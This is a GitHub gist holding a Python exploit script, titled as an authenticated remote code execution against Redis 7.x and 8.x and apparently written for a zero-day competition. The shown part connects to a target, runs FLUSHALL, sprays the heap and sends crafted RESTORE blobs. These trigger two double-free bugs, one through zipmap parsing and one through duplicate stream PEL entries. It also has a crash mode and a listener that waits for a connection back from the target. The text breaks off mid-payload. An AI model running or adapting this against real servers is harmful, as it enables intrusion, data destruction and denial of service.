-
-
Save neex/7891fb30a41fa95e3dfd713fd1a03ac3 to your computer and use it in GitHub Desktop.
Redis Authenticated RCE - zeroday.cloud 2025
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import argparse | |
| import json | |
| import os | |
| import struct | |
| import sys | |
| import time | |
| from collections import OrderedDict | |
| from datetime import datetime | |
| from typing import Iterable, Iterator, List, Optional, Tuple, Union | |
| from pwn import context, log, remote, p64, u64, listen # type: ignore | |
| from tqdm import tqdm | |
| from loguru import logger | |
| import gzip | |
| import base64 | |
| DEFAULT_HOST = "127.0.0.1" | |
| DEFAULT_PORT = 6379 | |
| ARGS_DEBUG = False | |
| CURRENT_STAGE = 0 | |
| # Tweakable parameters | |
| RESTORE_KEY = "zipmap:poc" | |
| TYPE1_FIELD_LENGTH = 256 | |
| TYPE1_STAGE12_SET_LENGTH = TYPE1_FIELD_LENGTH // 8 - 1 | |
| # RDB constants | |
| RDB_TYPE_HASH_ZIPMAP = 9 | |
| RDB_TYPE_STRING = 0 | |
| RDB_TYPE_SET_INTSET = 10 | |
| RDB_TYPE_STREAM_LISTPACKS = 15 | |
| RDB_TYPE_STREAM_LISTPACKS_2 = 19 | |
| RDB_TYPE_STREAM_LISTPACKS_3 = 21 | |
| MEMVIEW_LENGTH = 1 * 1024 * 1024 # 1MB | |
| MEMVIEW_SDS_HEADER = b"\x00\x10\x00" + b"\xFF\xFF\xFF\xFF" + b"\x03" | |
| ############################################################################### | |
| # Logging Utilities | |
| ############################################################################### | |
| def setup_logging(debug: bool = False) -> None: | |
| """ | |
| Configure loguru logger with custom format and colors. | |
| Log levels: | |
| - SUCCESS: Completions and achievements (stage completions, found items) - green | |
| - WARNING: Starting actions (beginning scans, triggering operations) - yellow | |
| - INFO: Important progress updates - blue/white | |
| - DEBUG: Detailed substep information - gray/dim | |
| - ERROR: Failures - red | |
| """ | |
| # Remove default handler | |
| logger.remove() | |
| # Add custom handler with our format | |
| log_format = ( | |
| "<green>{time:HH:mm:ss}</green> | " | |
| "<level>{level: <8}</level> | " | |
| "<cyan>[STAGE {extra[stage]}:{extra[tag]}]</cyan> | " | |
| "<level>{message}</level>" | |
| ) | |
| # Set log level based on debug flag | |
| log_level = "DEBUG" # if debug else "INFO" | |
| logger.add( | |
| sys.stdout, | |
| format=log_format, | |
| level=log_level, | |
| colorize=True, | |
| ) | |
| # Configure logger with default extras | |
| logger.configure(extra={"stage": 0, "tag": "INIT"}) | |
| def log_stage(message: str, level: str = "SUCCESS") -> None: | |
| """Log a major stage message.""" | |
| logger.bind(stage=CURRENT_STAGE, tag="STAGE").log(level, message) | |
| def log_error(message: str) -> None: | |
| """Log an error with current stage information.""" | |
| logger.bind(stage=CURRENT_STAGE, tag="ERROR").error(message) | |
| def log_info(tag: str, message: str, level: str = "INFO") -> None: | |
| """Log an info message with tag and stage.""" | |
| logger.bind(stage=CURRENT_STAGE, tag=tag).log(level, message) | |
| def log_milestone(tag: str, message: str) -> None: | |
| """Log a major milestone/completion within a stage (green).""" | |
| logger.bind(stage=CURRENT_STAGE, tag=tag).success(message) | |
| def log_start(tag: str, message: str) -> None: | |
| """Log when starting an action within a stage (yellow).""" | |
| logger.bind(stage=CURRENT_STAGE, tag=tag).warning(message) | |
| def log_debug(tag: str, message: str) -> None: | |
| """Log detailed debug information.""" | |
| logger.bind(stage=CURRENT_STAGE, tag=tag).debug(message) | |
| ############################################################################### | |
| # Backconnect Utilities | |
| ############################################################################### | |
| def get_local_addr_from_redis_connection(ctx: 'ExploitContext') -> str: | |
| """ | |
| Extract the local IP address from the existing Redis connection. | |
| Uses the underlying socket's getsockname() to determine which interface we're using. | |
| Returns the local IP address as a string. | |
| """ | |
| try: | |
| # Get the underlying socket from the pwntools remote connection | |
| sock = ctx.redis.remote.sock | |
| local_addr = sock.getsockname()[0] | |
| return local_addr | |
| except Exception as e: | |
| raise RuntimeError(f"Failed to extract local address from Redis connection: {e}") | |
| def setup_backconnect_listener(bind_addr: str, bind_port: int): | |
| """ | |
| Set up a listening socket on the specified address and port using pwntools. | |
| Returns the pwntools listen object. | |
| """ | |
| log_info("BACKCONNECT", f"Setting up listener on {bind_addr}:{bind_port}") | |
| listener = listen(port=bind_port, bindaddr=bind_addr) | |
| log_milestone("BACKCONNECT", f"Listener started on {bind_addr}:{bind_port}") | |
| return listener | |
| def accept_backconnect(listener, timeout: int = 10): | |
| """ | |
| Accept a connection on the listener with the specified timeout. | |
| Returns the connection object or None on timeout. | |
| """ | |
| log_info("BACKCONNECT", f"Waiting for backconnect (timeout: {timeout}s)...") | |
| try: | |
| listener.settimeout(timeout) | |
| conn = listener.wait_for_connection() | |
| log_milestone("BACKCONNECT", "Connection received!") | |
| return conn | |
| except Exception as e: | |
| log_error(f"Backconnect accept failed: {e}") | |
| return None | |
| ############################################################################### | |
| # Utility Functions (embedded from utils.py for self-containment) | |
| ############################################################################### | |
| def crc64(data: bytes) -> int: | |
| """Portable CRC64 implementation compatible with Redis' crc64.c.""" | |
| poly = 0xAD93D23594C935A9 | |
| crc = 0 | |
| for byte in data: | |
| for bit in range(8): | |
| carry = ((crc >> 63) & 1) ^ ((byte >> bit) & 1) | |
| crc = ((crc << 1) & ((1 << 64) - 1)) | |
| if carry: | |
| crc ^= poly | |
| # Redis stores CRC little-endian after reversing bit order. | |
| rev = 0 | |
| for i in range(64): | |
| rev |= ((crc >> i) & 1) << (63 - i) | |
| return rev | |
| def make_restore_blob(payload: bytes, rdb_version: int) -> bytes: | |
| """ | |
| Wraps a raw DUMP payload (type byte + serialized object) with the | |
| RDB version footer and CRC64 checksum expected by RESTORE. | |
| """ | |
| blob = bytearray(payload) | |
| blob += rdb_version.to_bytes(2, "little") | |
| checksum = crc64(blob) | |
| blob += checksum.to_bytes(8, "little") | |
| return bytes(blob) | |
| def serialize(parts: Iterable[Union[str, bytes]]) -> bytes: | |
| """Encode a command into RESP for manual socket usage.""" | |
| parts_list: List[Union[str, bytes]] = list(parts) | |
| out = [f"*{len(parts_list)}\r\n".encode()] | |
| for part in parts_list: | |
| if isinstance(part, str): | |
| part = part.encode() | |
| out.append(f"${len(part)}\r\n".encode()) | |
| out.append(part) | |
| out.append(b"\r\n") | |
| return b"".join(out) | |
| ############################################################################### | |
| # Exploit Context | |
| ############################################################################### | |
| class ExploitContext: | |
| """ | |
| Central state container for the exploit. | |
| All persistent data flows through this context between stages. | |
| Uses OrderedDict to preserve insertion order for pretty-printing. | |
| """ | |
| def __init__(self): | |
| self._data = OrderedDict([ | |
| # Constants - Memory ranges (x86-64 Linux with PIE/ASLR) | |
| ('BINARY_ADDR_MIN', 0x500000000000), | |
| ('BINARY_ADDR_MAX', 0x700000000000), | |
| ('HEAP_ADDR_MIN', 0x6f0000000000), | |
| ('HEAP_ADDR_MAX', 0x800000000000), | |
| # Connection | |
| ('redis', None), | |
| # Backconnect configuration (set before stage1) | |
| ('backconnect_addr', None), | |
| ('backconnect_port', None), | |
| ('backconnect_listener', None), | |
| # Version-specific configuration (set by stage0) | |
| ('redis_version', None), | |
| ('rdb_version', None), | |
| ('EXECUTABLE_OFFSET', None), | |
| ('ARGV_ARRAY_OFFSET', None), | |
| ]) | |
| self._constants = {'BINARY_ADDR_MIN', 'BINARY_ADDR_MAX', 'HEAP_ADDR_MIN', 'HEAP_ADDR_MAX'} | |
| self._non_serializable = {'redis', 'backconnect_listener', 'way2_marker_keys'} # Fields that shouldn't be serialized | |
| def __getattr__(self, name: str): | |
| if name.startswith('_'): | |
| return object.__getattribute__(self, name) | |
| try: | |
| return self._data[name] | |
| except KeyError: | |
| raise AttributeError(f"ExploitContext has no attribute '{name}'") | |
| def __setattr__(self, name: str, value): | |
| if name.startswith('_'): | |
| object.__setattr__(self, name, value) | |
| else: | |
| self._data[name] = value | |
| def pretty_print(self) -> str: | |
| """Format context for debugging - called on exception. Prints in order of appearance.""" | |
| lines = ["=" * 60, "EXPLOIT CONTEXT STATE", "=" * 60, ""] | |
| for key, value in self._data.items(): | |
| # Skip constants and private keys | |
| if key in self._constants or key.startswith('_'): | |
| continue | |
| lines.append(f" {key} = {self._fmt(value)}") | |
| lines.append("=" * 60) | |
| return "\n".join(lines) | |
| def _fmt(self, value) -> str: | |
| """Format value appropriately for display.""" | |
| if value is None: | |
| return "None" | |
| elif isinstance(value, int): | |
| return f"0x{value:016x}" | |
| elif isinstance(value, str): | |
| return repr(value) | |
| else: | |
| return str(value) | |
| def configure_for_version(self, version: str): | |
| """Configure version-specific offsets and RDB version based on detected Redis version.""" | |
| self.redis_version = version | |
| major_version = int(version.split('.')[0]) | |
| self.major_version = major_version | |
| self.EXECUTABLE_OFFSET = 24 | |
| self.ARGV_ARRAY_OFFSET = 32 | |
| if self.major_version >= 8: | |
| # Redis 8.x configuration | |
| self.rdb_version = 12 | |
| log_info("VERSION", f"Redis {version} detected - using Redis 8.x configuration (RDB v12)") | |
| elif self.major_version == 7: | |
| # Redis 7.x configuration | |
| self.rdb_version = 10 | |
| log_info("VERSION", f"Redis {version} detected - using Redis 7.x configuration (RDB v10)") | |
| else: | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Unsupported Redis version: {version} (only 7.x and 8.x supported)") | |
| # For Redis < 8.2, streamNACK/stream struct is 24 bytes; else 32 bytes. | |
| v_tuple = tuple(int(x) for x in version.split('.')[:2]) | |
| if self.major_version < 8 or (self.major_version == 8 and v_tuple[1] < 2): | |
| self.STREAM_STRUCT_SIZE = 24 | |
| log_info("VERSION", f"Redis {version} detected - using Redis < 8.2 configuration (STREAM_STRUCT_SIZE = 24)") | |
| else: | |
| self.STREAM_STRUCT_SIZE = 32 | |
| log_info("VERSION", f"Redis {version} detected - using Redis >= 8.2 configuration (STREAM_STRUCT_SIZE = 32)") | |
| def to_dict(self) -> dict: | |
| """Serialize context to dictionary (excluding non-serializable fields).""" | |
| result = {} | |
| for key, value in self._data.items(): | |
| if key in self._non_serializable: | |
| continue | |
| result[key] = value | |
| return result | |
| def from_dict(self, data: dict) -> None: | |
| """Load context from dictionary.""" | |
| for key, value in data.items(): | |
| if key not in self._non_serializable: | |
| self._data[key] = value | |
| def save_to_file(self, filepath: str) -> None: | |
| """Save context to JSON file.""" | |
| os.makedirs(os.path.dirname(filepath), exist_ok=True) | |
| with open(filepath, 'w') as f: | |
| json.dump(self.to_dict(), f, indent=2) | |
| log_info("CONTEXT", f"Saved context to {filepath}") | |
| @staticmethod | |
| def load_from_file(filepath: str) -> 'ExploitContext': | |
| """Load context from JSON file.""" | |
| ctx = ExploitContext() | |
| with open(filepath, 'r') as f: | |
| data = json.load(f) | |
| ctx.from_dict(data) | |
| log_info("CONTEXT", f"Loaded context from {filepath}") | |
| return ctx | |
| ############################################################################### | |
| # Redis Client | |
| ############################################################################### | |
| class RedisError(Exception): | |
| def __init__(self, message: str): | |
| super().__init__(message) | |
| self.message = message | |
| class RedisClient: | |
| def __init__(self, host: str, port: int, *, debug: Optional[bool] = None): | |
| if debug is None: | |
| debug = ARGS_DEBUG | |
| context.log_level = "debug" if debug else "error" | |
| self.debug = debug | |
| self.remote = remote(host, port, ssl=False) | |
| self.command_count = 0 # Track total commands sent | |
| def __enter__(self): | |
| return self | |
| def __exit__(self, exc_type, exc, tb): | |
| self.close() | |
| return False | |
| def close(self) -> None: | |
| self.remote.close() | |
| def send_command( | |
| self, | |
| parts: Iterable[Union[str, bytes]], | |
| *, | |
| expect_error: bool = False, | |
| ): | |
| # Increment command counter | |
| self.command_count += 1 | |
| # Log every 100 commands | |
| if self.command_count % 100 == 0: | |
| cmd_preview = self._fmt_parts(parts) | |
| # Truncate long commands for readability | |
| if len(cmd_preview) > 80: | |
| cmd_preview = cmd_preview[:77] + "..." | |
| log_info("REDIS", f"Command #{self.command_count}: {cmd_preview}") | |
| payload = serialize(parts) | |
| if self.debug: | |
| log.debug(f"> {self._fmt_parts(parts)}") | |
| self.remote.send(payload) | |
| reply = self._read_reply() | |
| if self.debug: | |
| log.debug(f"< {self._fmt_reply(reply)}") | |
| if isinstance(reply, RedisError): | |
| if expect_error: | |
| return reply | |
| raise reply | |
| return reply | |
| def _read_reply(self): | |
| line = self.remote.recvline() | |
| if not line: | |
| raise ConnectionError("connection closed") | |
| if not line.endswith(b"\r\n"): | |
| raise RuntimeError(f"malformed RESP line: {line!r}") | |
| prefix = line[:1] | |
| payload = line[1:-2] | |
| if prefix == b'+': | |
| return payload.decode(errors="replace") | |
| if prefix == b'-': | |
| return RedisError(payload.decode(errors="replace")) | |
| if prefix == b':': | |
| return int(payload) | |
| if prefix == b'$': | |
| length = int(payload) | |
| if length == -1: | |
| return None | |
| data = self.remote.recvn(length) | |
| if self.remote.recvn(2) != b"\r\n": | |
| raise RuntimeError("malformed bulk reply terminator") | |
| return data | |
| if prefix == b'*': | |
| count = int(payload) | |
| return [self._read_reply() for _ in range(count)] | |
| raise RuntimeError(f"unsupported RESP prefix: {prefix!r}") | |
| @staticmethod | |
| def _fmt_parts(parts: Iterable[Union[str, bytes]]) -> str: | |
| rendered = [] | |
| for part in parts: | |
| if isinstance(part, bytes): | |
| rendered.append(part.decode(errors="replace")) | |
| else: | |
| rendered.append(str(part)) | |
| return " ".join(rendered) | |
| @staticmethod | |
| def _fmt_reply(reply) -> str: | |
| if isinstance(reply, RedisError): | |
| return f"(error) {reply.message}" | |
| if isinstance(reply, bytes): | |
| preview = reply[:16].decode("ascii", errors="replace") | |
| return f"(bulk) len={len(reply)} preview={preview!r}" | |
| if isinstance(reply, list): | |
| return f"(array) {len(reply)} items" | |
| return repr(reply) | |
| ############################################################################### | |
| # Stage 0: Connect to Redis | |
| ############################################################################### | |
| def _stage0_random_heap_massage(ctx: ExploitContext) -> None: | |
| """ | |
| Randomize heap state by inserting 100,000 keys of varying sizes. | |
| This helps test exploit stability under different heap configurations. | |
| """ | |
| # Generate valid sizes: [8, 11, 16, 22, 32, ..., 65536] | |
| # Formula: int(2 ** (x/2)) for x in range(6, 33) | |
| sizes = [int(2 ** (x / 2)) for x in range(6, 33)] | |
| log_info("HEAP-MASSAGE", f"Inserting 100,000 random keys (sizes: {sizes[0]} to {sizes[-1]} bytes)...") | |
| start_time = time.time() | |
| # Lua script for efficient bulk insertion | |
| script = """ | |
| -- Parse valid sizes from ARGV | |
| local sizes = {} | |
| for i = 1, #ARGV do | |
| sizes[i] = tonumber(ARGV[i]) | |
| end | |
| local num_sizes = #sizes | |
| -- Insert 100,000 random keys | |
| local count = 100000 | |
| for i = 0, count - 1 do | |
| -- Pick random size | |
| local size_idx = math.random(1, num_sizes) | |
| local size = sizes[size_idx] | |
| -- Generate key name | |
| local key = string.format("heap_massage:%06d", i) | |
| -- Generate random value (repeat pattern for efficiency) | |
| local pattern = string.char(math.random(65, 90)) -- Random A-Z | |
| local value = string.rep(pattern, size) | |
| -- Set key | |
| redis.call("SET", key, value) | |
| end | |
| return count | |
| """ | |
| # Build ARGV with all sizes | |
| argv = [str(s) for s in sizes] | |
| # Execute Lua script | |
| count = ctx.redis.send_command(["EVAL", script, "0"] + argv) | |
| elapsed = time.time() - start_time | |
| log_info("HEAP-MASSAGE", f"Inserted {count} keys in {elapsed:.2f}s") | |
| def stage0_connect_to_redis(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Establish connection to Redis server and prepare clean state. | |
| Creates a RedisClient instance, authenticates if password provided, | |
| verifies connectivity with PING, and flushes the database for a clean exploit environment. | |
| Also detects Redis version and configures version-specific offsets. | |
| """ | |
| ctx.redis = RedisClient(args.host, args.port) | |
| # Authenticate if password provided | |
| if args.password: | |
| ctx.redis.send_command(["AUTH", args.password]) | |
| log_info("AUTH", "Authenticated successfully") | |
| # Verify connection | |
| response = ctx.redis.send_command(["PING"]) | |
| log_info("PING", f"{response}") | |
| # Detect Redis version and configure version-specific parameters | |
| info_response = ctx.redis.send_command(["INFO", "server"]) | |
| if isinstance(info_response, bytes): | |
| info_response = info_response.decode('utf-8') | |
| # Parse redis_version from INFO output | |
| redis_version = None | |
| for line in info_response.split('\r\n'): | |
| if line.startswith('redis_version:'): | |
| redis_version = line.split(':', 1)[1].strip() | |
| break | |
| if not redis_version: | |
| raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to detect Redis version from INFO SERVER") | |
| # Configure version-specific offsets and RDB version | |
| ctx.configure_for_version(redis_version) | |
| # Random heap massage if requested (before FLUSHDB) | |
| if args.random_heap_massage: | |
| _stage0_random_heap_massage(ctx) | |
| # Clean state | |
| ctx.redis.send_command(["FLUSHALL"]) | |
| ctx.redis.send_command(["SAVE"]) | |
| # Set up backconnect now that we have a Redis connection (skip if flush-and-crash mode) | |
| if not args.flush_and_crash: | |
| setup_backconnect(args, ctx) | |
| ############################################################################### | |
| # Flush and Crash (optional mode) | |
| ############################################################################### | |
| def _build_crash_payload() -> bytes: | |
| """ | |
| Build a STRING payload that triggers integer overflow in sds.c. | |
| The vulnerability: sds.c:108 checks 'initlen + hdrlen + 1 > initlen' | |
| to detect overflow, but if initlen is huge (near SIZE_MAX), this overflows. | |
| - 0x00 = RDB_TYPE_STRING | |
| - 0x81 = 64-bit length prefix (8 bytes follow, little-endian) | |
| - 0xfffffffffffffffe = huge length that causes overflow | |
| """ | |
| payload = bytes([ | |
| 0x00, # RDB_TYPE_STRING | |
| 0x81, # 64-bit length encoding prefix | |
| ]) | |
| payload += b'\xff\xff\xff\xff\xff\xff\xff\xfe' | |
| return payload | |
| def stage_flush_and_crash(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Send crash payload to trigger sds.c assertion. | |
| This bypasses sanitize-dump-payload because the bug is in basic | |
| RDB length decoding, not in listpack/stream validation. | |
| """ | |
| log_start("CRASH", "Building crash payload...") | |
| raw_payload = _build_crash_payload() | |
| log_debug("PAYLOAD", f"Raw payload: {raw_payload.hex()}") | |
| # Wrap with RDB version and CRC | |
| blob = make_restore_blob(raw_payload, ctx.rdb_version) | |
| log_debug("PAYLOAD", f"RESTORE blob size: {len(blob)} bytes") | |
| log_start("CRASH", "Sending RESTORE with crash payload...") | |
| try: | |
| reply = ctx.redis.send_command(["RESTORE", "crash:test", "0", blob], expect_error=True) | |
| msg = reply.message if isinstance(reply, RedisError) else reply | |
| assert False, f"Server did not crash: {msg}" | |
| except Exception as e: | |
| log_milestone("CRASH", f"Server crashed (connection lost): {e}") | |
| ############################################################################### | |
| # Stage 1: Double-Free | |
| ############################################################################### | |
| # Stage 1-2 shared constants for overlap setup | |
| _STAGE12_CONST_START = -2 ** 63 | |
| def rdb_encode_length(length: int) -> bytes: | |
| """Encode length for RDB format. | |
| Format: | |
| - 00xxxxxx: 6-bit length (0-63) | |
| - 01xxxxxx xxxxxxxx: 14-bit length (64-16383) | |
| - 10000000 + 4 bytes big-endian: 32-bit length | |
| - 10000001 + 8 bytes big-endian: 64-bit length | |
| """ | |
| if length < (1 << 6): | |
| return bytes([length]) # 00xxxxxx | |
| if length < (1 << 14): | |
| high = ((length >> 8) & 0x3F) | 0x40 # 01xxxxxx | |
| low = length & 0xFF | |
| return bytes([high, low]) | |
| if length <= 0xFFFFFFFF: | |
| return bytes([0x80]) + length.to_bytes(4, "big") # 0x80 = RDB_32BITLEN | |
| return bytes([0x81]) + length.to_bytes(8, "big") # 0x81 = RDB_64BITLEN | |
| def build_zipmap(field_len: int) -> bytes: | |
| """ | |
| Craft the zipmap payload used to trigger the double-free. | |
| Exploits parsing ambiguity between zipmapValidateIntegrity() and zipmapNext(). | |
| Uses inefficient length encoding (0xFE prefix) that the validator and converter | |
| parse differently, causing a 4-byte offset mismatch. See STAGE1_way1.md. | |
| """ | |
| buf = [] | |
| buf.append(b"\xfe") # zmlen = no count | |
| buf.append(b"\xfe") # 4-byte field length (validator view) | |
| buf.append(b"\x04\x00\x00\x00") | |
| buf.append(b"\xfe\x04\x00\x00\x00") # value length (validator) | |
| buf.append(b"\xff") # validator padding | |
| buf.append(b"ABCD") # restore padding tail | |
| buf.append(b"\xfe") # real key length (restore view) | |
| buf.append(field_len.to_bytes(4, "little")) | |
| buf.append(b"\xff" * field_len) # body with embedded fake terminator | |
| buf.append(b"\xfe") # long value length (restore view) | |
| buf.append(((1 << 32) - 1).to_bytes(4, "little")) | |
| buf.append(b"\x00") | |
| buf.append(b"\xff") | |
| return b"".join(buf) | |
| def build_restore_blob(field_len: int, rdb_version: int) -> bytes: | |
| """Build complete RESTORE blob with zipmap payload.""" | |
| zipmap = build_zipmap(field_len) | |
| payload = bytearray() | |
| payload.append(RDB_TYPE_HASH_ZIPMAP) | |
| payload += rdb_encode_length(len(zipmap)) | |
| payload += zipmap | |
| blob = make_restore_blob(bytes(payload), rdb_version=rdb_version) | |
| crc = int.from_bytes(blob[-8:], "little") | |
| log_info("BUILD", f"field_len={field_len} zipmap_len={len(zipmap)} blob_len={len(blob)} crc64=0x{crc:016x} rdb_version={rdb_version}") | |
| return blob | |
| def _stage1_trigger_double_free_rdb(ctx: ExploitContext) -> None: | |
| """Send malformed RESTORE command to trigger double-free.""" | |
| log_start("TRIGGER", "Sending malformed RESTORE command to trigger double-free") | |
| blob = build_restore_blob(TYPE1_FIELD_LENGTH, ctx.rdb_version) | |
| reply = ctx.redis.send_command(["RESTORE", RESTORE_KEY, "0", blob], expect_error=True) | |
| msg = reply.message if isinstance(reply, RedisError) else reply | |
| log_debug("RESPONSE", f"RESTORE response: {msg}") | |
| log_milestone("SUCCESS", "Double-free successfully triggered") | |
| def _stage1_prepare_overlap_keys(ctx: ExploitContext) -> None: | |
| """Prepare intset for Stage 2 memory corruption.""" | |
| log_start("PREPARE", f"Preparing intset with {TYPE1_STAGE12_SET_LENGTH} entries for Stage 2") | |
| ctx.int_set_key = "write:0" | |
| start = _STAGE12_CONST_START | |
| payload3 = [str(i) for i in range(start, start + TYPE1_STAGE12_SET_LENGTH)] | |
| ctx.redis.send_command(["SADD", ctx.int_set_key, *payload3]) | |
| log_debug("SADD", f"{ctx.int_set_key} prepared with {len(payload3)} entries") | |
| def _stage1_trigger_double_free_way1(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Trigger zipmap parsing ambiguity leading to double-free. | |
| Exploits two bugs: | |
| 1. Parsing ambiguity: Inefficient length encoding causes validator and | |
| converter to parse different structures (4-byte offset mismatch). | |
| 2. Double-free: When converter aborts, dictRelease() frees the field, | |
| then sdsfree() frees it again. | |
| Chunk size: 256 bytes. See STAGE1_way1.md for full details. | |
| """ | |
| assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)" | |
| if not args.plain_string_stage2: | |
| # Prepare overlap keys for stage 2 | |
| _stage1_prepare_overlap_keys(ctx) | |
| # Trigger the double-free bug | |
| _stage1_trigger_double_free_rdb(ctx) | |
| ############################################################################### | |
| # Stage 1 Way 2: Stream Consumer PEL Double-Free | |
| ############################################################################### | |
| def _build_listpack_integer(value: int) -> bytes: | |
| """ | |
| Encode an integer for listpack format. | |
| Returns the encoded bytes including backlen. | |
| """ | |
| if 0 <= value <= 127: | |
| # 7-bit unsigned integer: single byte encoding | |
| # Format: 0xxxxxxx (value in lower 7 bits) | |
| return bytes([value, 0x01]) # value + 1-byte backlen | |
| elif -4096 <= value <= 4095: | |
| # 13-bit signed integer | |
| # Format: 110xxxxx xxxxxxxx | |
| if value < 0: | |
| value = (1 << 13) + value | |
| high = 0xC0 | ((value >> 8) & 0x1F) | |
| low = value & 0xFF | |
| return bytes([high, low, 0x02]) | |
| elif -32768 <= value <= 32767: | |
| # 16-bit signed integer | |
| # Format: 11110001 + 2 bytes little-endian | |
| if value < 0: | |
| value = (1 << 16) + value | |
| return bytes([0xF1, value & 0xFF, (value >> 8) & 0xFF, 0x03]) | |
| elif -8388608 <= value <= 8388607: | |
| # 24-bit signed integer | |
| # Format: 11110010 + 3 bytes little-endian | |
| if value < 0: | |
| value = (1 << 24) + value | |
| return bytes([0xF2, value & 0xFF, (value >> 8) & 0xFF, (value >> 16) & 0xFF, 0x04]) | |
| elif -2147483648 <= value <= 2147483647: | |
| # 32-bit signed integer | |
| # Format: 11110011 + 4 bytes little-endian | |
| if value < 0: | |
| value = (1 << 32) + value | |
| return bytes([0xF3, | |
| value & 0xFF, (value >> 8) & 0xFF, | |
| (value >> 16) & 0xFF, (value >> 24) & 0xFF, 0x05]) | |
| else: | |
| # 64-bit signed integer | |
| # Format: 11110100 + 8 bytes little-endian | |
| if value < 0: | |
| value = (1 << 64) + value | |
| return bytes([0xF4, | |
| value & 0xFF, (value >> 8) & 0xFF, | |
| (value >> 16) & 0xFF, (value >> 24) & 0xFF, | |
| (value >> 32) & 0xFF, (value >> 40) & 0xFF, | |
| (value >> 48) & 0xFF, (value >> 56) & 0xFF, 0x09]) | |
| def _build_listpack_string(s: bytes) -> bytes: | |
| """ | |
| Encode a string for listpack format. | |
| Returns the encoded bytes including backlen. | |
| """ | |
| length = len(s) | |
| if length <= 63: | |
| # 6-bit string: 10xxxxxx + data | |
| return bytes([0x80 | length]) + s + bytes([length + 1]) | |
| elif length <= 4095: | |
| # 12-bit string: 1110xxxx xxxxxxxx + data | |
| high = 0xE0 | ((length >> 8) & 0x0F) | |
| low = length & 0xFF | |
| return bytes([high, low]) + s + bytes([length + 2]) | |
| else: | |
| # 32-bit string: 11110000 + 4 bytes length + data | |
| return bytes([0xF0, | |
| length & 0xFF, (length >> 8) & 0xFF, | |
| (length >> 16) & 0xFF, (length >> 24) & 0xFF]) + s + bytes([length + 5]) | |
| def _build_stream_listpack(master_ms: int, master_seq: int) -> bytes: | |
| """ | |
| Build a minimal valid stream listpack with one entry. | |
| Master entry format: | |
| +-------+---------+------------+---------+---+---------+-+ | |
| | count | deleted | num-fields | field_1 |...| field_N |0| | |
| +-------+---------+------------+---------+---+---------+-+ | |
| Entry format: | |
| +-----+--------+----------+-------+-------+---+-------+-------+--------+ | |
| |flags|entry-id|num-fields|field-1|value-1|...|field-N|value-N|lp-count| | |
| +-----+--------+----------+-------+-------+---+-------+-------+--------+ | |
| """ | |
| elements = [] | |
| # Master entry | |
| elements.append(_build_listpack_integer(1)) # count = 1 entry | |
| elements.append(_build_listpack_integer(0)) # deleted = 0 | |
| elements.append(_build_listpack_integer(1)) # num-fields = 1 | |
| elements.append(_build_listpack_string(b"field1")) # field name | |
| elements.append(_build_listpack_integer(0)) # end marker for master entry | |
| # Stream entry (flags=0, delta ms=0, delta seq=0) | |
| # lp-count = numfields(values) + 3(flags,ms,seq) + numfields+1(field names + num-fields field) for non-SAMEFIELDS | |
| # For numfields=1: 1 + 3 + (1+1) = 6 | |
| elements.append(_build_listpack_integer(0)) # flags = STREAM_ITEM_FLAG_NONE | |
| elements.append(_build_listpack_integer(0)) # ms delta from master | |
| elements.append(_build_listpack_integer(0)) # seq delta from master | |
| elements.append(_build_listpack_integer(1)) # num-fields = 1 | |
| elements.append(_build_listpack_string(b"field1")) # field name | |
| elements.append(_build_listpack_string(b"value1")) # field value | |
| elements.append(_build_listpack_integer(6)) # lp-count = 1 + 3 + (1+1) = 6 | |
| # Build the listpack | |
| body = b"".join(elements) | |
| total_len = 6 + len(body) + 1 # header (6) + body + EOF (1) | |
| lp = bytearray() | |
| # Header: 4 bytes total length (little-endian) | |
| lp.append(total_len & 0xFF) | |
| lp.append((total_len >> 8) & 0xFF) | |
| lp.append((total_len >> 16) & 0xFF) | |
| lp.append((total_len >> 24) & 0xFF) | |
| # Header: 2 bytes num elements (little-endian) - 12 elements in our listpack | |
| num_elements = 12 | |
| lp.append(num_elements & 0xFF) | |
| lp.append((num_elements >> 8) & 0xFF) | |
| # Body | |
| lp.extend(body) | |
| # EOF | |
| lp.append(0xFF) | |
| return bytes(lp) | |
| def _build_stream_rdb_payload(rdb_version: int) -> bytes: | |
| """ | |
| Build a complete stream RESTORE payload that triggers consumer PEL double-free. | |
| The vulnerability: when loading a consumer's PEL, if the same rawid appears | |
| twice, the second raxTryInsert fails and streamFreeNACK(nack) is called. | |
| But this nack is shared with the global PEL, causing a double-free. | |
| """ | |
| master_ms = 1000000000000 # Timestamp in ms | |
| master_seq = 0 | |
| # Build the payload | |
| payload = bytearray() | |
| # Type byte | |
| payload.append(RDB_TYPE_STREAM_LISTPACKS_2) | |
| # Number of listpacks | |
| payload.extend(rdb_encode_length(1)) | |
| # Listpack 1: nodekey (16 bytes = sizeof(streamID) in big-endian) | |
| nodekey = struct.pack(">QQ", master_ms, master_seq) | |
| payload.extend(rdb_encode_length(len(nodekey))) | |
| payload.extend(nodekey) | |
| # Listpack 1: listpack data | |
| listpack = _build_stream_listpack(master_ms, master_seq) | |
| payload.extend(rdb_encode_length(len(listpack))) | |
| payload.extend(listpack) | |
| # Stream metadata | |
| payload.extend(rdb_encode_length(1)) # length = 1 item | |
| payload.extend(rdb_encode_length(master_ms)) # last_id.ms | |
| payload.extend(rdb_encode_length(master_seq)) # last_id.seq | |
| # For RDB_TYPE_STREAM_LISTPACKS_2 and above: | |
| payload.extend(rdb_encode_length(master_ms)) # first_id.ms | |
| payload.extend(rdb_encode_length(master_seq)) # first_id.seq | |
| payload.extend(rdb_encode_length(0)) # max_deleted_entry_id.ms | |
| payload.extend(rdb_encode_length(0)) # max_deleted_entry_id.seq | |
| payload.extend(rdb_encode_length(1)) # entries_added | |
| # Consumer groups count | |
| payload.extend(rdb_encode_length(1)) | |
| # Consumer group 1 | |
| cgname = b"mygroup" | |
| payload.extend(rdb_encode_length(len(cgname))) | |
| payload.extend(cgname) | |
| payload.extend(rdb_encode_length(master_ms)) # cg_id.ms | |
| payload.extend(rdb_encode_length(master_seq)) # cg_id.seq | |
